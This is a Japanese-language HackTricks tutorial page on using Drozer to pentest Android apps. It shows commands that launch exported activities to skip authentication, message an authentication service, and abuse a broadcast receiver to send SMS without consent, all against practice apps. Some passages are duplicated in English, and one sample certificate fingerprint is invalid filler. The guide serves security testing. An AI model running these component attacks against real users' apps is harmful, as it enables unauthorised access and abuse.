hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial
2023-08-27 20:07:11 +00:00
..
exploiting-content-providers.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['mobile-pentesting/android-app-pentesting/drozer-tutorial/RE 2023-08-27 20:07:11 +00:00

Drozerチュートリアル

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

バグバウンティのヒントIntigritiに登録してください。ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**の報酬を獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

テストするAPK

インストール

ホスト内にDrozerクライアントをインストールします。最新のリリースからダウンロードしてください。

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

最新のリリースからdrozer APKをダウンロードしてインストールします。現時点では、こちらです。

adb install drozer.apk

サーバーの起動

エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、ポートフォワーディングが必要です。以下はそのためのコマンドです:

adb forward tcp:31415 tcp:31415

最後に、アプリケーション起動し、ボタンの「ON」を押します。

そして、それに接続します:

drozer console connect

おもしろいコマンド

コマンド 説明
Help MODULE 選択したモジュールのヘルプを表示します。
list 現在のセッションで実行できるすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示にされます。
shell エージェントのコンテキストでデバイス上で対話型のLinuxシェルを開始します。
clean drozerがAndroidデバイス上に保存した一時ファイルを削除します。
load drozerコマンドを含むファイルをロードし、順番に実行します。
module インターネットから追加のdrozerモジュールを検索してインストールします。
unset drozerが生成するすべてのLinuxシェルに渡される名前付き変数を削除します。
set drozerによって生成されるすべてのLinuxシェルに環境変数として渡される変数に値を格納します。
shell エージェントのコンテキストでデバイス上で対話型のLinuxシェルを開始します。
run MODULE drozerモジュールを実行します。
exploit drozerはデバイスで実行するためのエクスプロイトを作成できます。 drozer exploit list
payload エクスプロイトにはペイロードが必要です。 drozer payload list

パッケージ

パッケージの名前を部分一致でフィルタリングして検索します:

dz> run app.package.list -f sieve
com.mwr.example.sieve

パッケージの基本情報:

The package name is com.example.app and the version is 1.0. The package is signed with the certificate fingerprint A1:B2:C3:D4:E5:F6:G7:H8:I9:J0:K1:L2:M3:N4:O5:P6:Q7:R8:S9:T0. The package is targeted for Android API level 28 (Android 9.0 Pie) and the minimum supported API level is 21 (Android 5.0 Lollipop).

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

マニフェストを読む:

run app.package.manifest jakhar.aseem.diva

パッケージの攻撃面

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • アクティビティ: おそらく、アクティビティを開始し、起動を防ぐべき認証を回避することができます。
  • コンテンツプロバイダ: 私的なデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサルを悪用したりすることができるかもしれません。
  • サービス:
  • is debuggable: 詳細を学ぶ

アクティビティ

AndroidManifest.xmlファイルで、エクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています。

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

エクスポートされたアクティビティのリスト:

$ drozer console connect
$ run app.package.list -f <package_name>
$ run app.activity.info -a <activity_name>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

アクティビティの開始:

おそらく、アクティビティを開始し、それを起動することを防ぐべき認証をバイパスすることができます。

{% code overflow="wrap" %}

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

{% endcode %}

adbからもエクスポートされたアクティビティを起動することもできます:

  • パッケージ名はcom.example.demoです
  • エクスポートされたアクティビティ名はcom.example.test.MainActivityです
adb shell am start -n com.example.demo/com.example.test.MainActivity

コンテンツプロバイダ

この投稿は非常に大きいため、ここで独自のページでアクセスできます

サービス

エクスポートされたサービスはManifest.xml内で宣言されます

{% code overflow="wrap" %}

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

{% endcode %}

コードの中で、**handleMessage**関数をチェックして、メッセージ受け取ることができます。

サービスのリスト

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

サービスとのインタラクション

To interact with a service, you can use the run command in drozer. This command allows you to execute various actions on the target service.

サービスとのインタラクションを行うために、drozerではrunコマンドを使用することができます。このコマンドを使用すると、対象のサービス上でさまざまなアクションを実行することができます。

The basic syntax for the run command is as follows:

run <module> <action> [options]

runコマンドの基本的な構文は以下の通りです:

run <モジュール> <アクション> [オプション]

Here, <module> refers to the module you want to interact with, <action> refers to the action you want to perform on the module, and [options] refers to any additional options or parameters required for the action.

ここで、<モジュール>はインタラクションを行いたいモジュールを指し、<アクション>はモジュール上で実行したいアクションを指し、[オプション]はアクションに必要な追加のオプションやパラメータを指します。

For example, to interact with the activity module and launch an activity, you can use the following command:

たとえば、activityモジュールとインタラクションを行い、アクティビティを起動するには、次のコマンドを使用します:

run app.activity.start --component <component_name>

Here, <component_name> refers to the name of the activity component you want to launch.

ここで、<component_name>は起動したいアクティビティコンポーネントの名前を指します。

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

app.service.senddrozerのヘルプを見てみましょう:

"msg.what"の中に最初にデータを送信し、その後に"msg.arg1"と"msg.arg2"を送信します。コードの中でどの情報が使用されているかとその場所を確認する必要があります。
--extraオプションを使用すると、"_msg.replyTo"によって解釈される何かを送信できます。また、--bundle-as-objを使用すると、提供された詳細を持つオブジェクトを作成できます。

次の例では:

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

ブロードキャストレシーバー

Androidアプリは、Androidシステムや他のAndroidアプリからブロードキャストメッセージを送受信することができます。これは、パブリッシュ-サブスクライブデザインパターンに似ています。これらのブロードキャストは、興味のあるイベントが発生したときに送信されます。たとえば、Androidシステムは、システムの起動時やデバイスの充電開始時など、さまざまなシステムイベントが発生したときにブロードキャストを送信します。アプリはカスタムブロードキャストも送信できます。たとえば、他のアプリに興味がある情報を通知するためにカスタムブロードキャストを送信することができますたとえば、新しいデータがダウンロードされたことを通知するなど

アプリは特定のブロードキャストを受信するために登録することができます。ブロードキャストが送信されると、システムはその特定のタイプのブロードキャストを受信するために登録したアプリに自動的にブロードキャストをルーティングします。

これはManifest.xmlファイルの中に表示される可能性があります。

<receiver android:name=".MyBroadcastReceiver"  android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>

From: https://developer.android.com/guide/components/broadcasts

これらのブロードキャストレシーバーを発見した後は、それらのコードをチェックする必要があります。受信されたメッセージを処理するために、**onReceive**関数に特に注意を払ってください。

すべてのブロードキャストレシーバーを検出する

run app.broadcast.info #Detects all

アプリのブロードキャストレシーバーをチェックする

To check the broadcast receivers of an app, you can use the drozer tool. This tool allows you to interact with the Android operating system at the application layer, providing a way to analyze and manipulate Android apps.

To begin, make sure you have drozer installed on your machine. You can find installation instructions in the drozer GitHub repository.

Once drozer is installed, follow these steps to check the broadcast receivers of an app:

  1. Connect your Android device to your machine using a USB cable.

  2. Enable USB debugging on your Android device. You can find this option in the Developer Options menu.

  3. Open a terminal or command prompt and navigate to the directory where drozer is installed.

  4. Run the following command to start the drozer console:

    drozer console connect
    
  5. Once connected, run the following command to list the installed apps on your device:

    run app.package.list -f
    

    This will display a list of installed apps along with their package names.

  6. Identify the package name of the app you want to check the broadcast receivers for.

  7. Run the following command, replacing com.example.app with the package name of the app:

    run app.broadcast.info -a com.example.app
    

    This command will display information about the broadcast receivers registered by the app.

By checking the broadcast receivers of an app, you can gain insights into its communication capabilities and potential security vulnerabilities.

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

ブロードキャスト インタラクション

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

メッセージを送信する

この例では、FourGoats apkのContent Providerを悪用して、ユーザーの許可を求めずに任意のSMSを非プレミアムの宛先に送信することができます。

コードを読むと、パラメータ "phoneNumber" と "message" をContent Providerに送信する必要があります。

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

デバッグ可能かどうか

プロダクションAPKは決してデバッグ可能になってはいけません。
これは、実行中のアプリケーションにJavaデバッガをアタッチし、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、さらには変更することができることを意味します。InfoSec Instituteには、デバッグ可能なアプリケーションを掘り下げるための素晴らしい記事があります。

アプリケーションがデバッグ可能である場合、マニフェストに表示されます:

<application theme="@2131296387" debuggable="true"

Drozerを使用して、すべてのデバッグ可能なアプリケーションを見つけることができます。

run app.package.debuggable

チュートリアル

追加情報

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥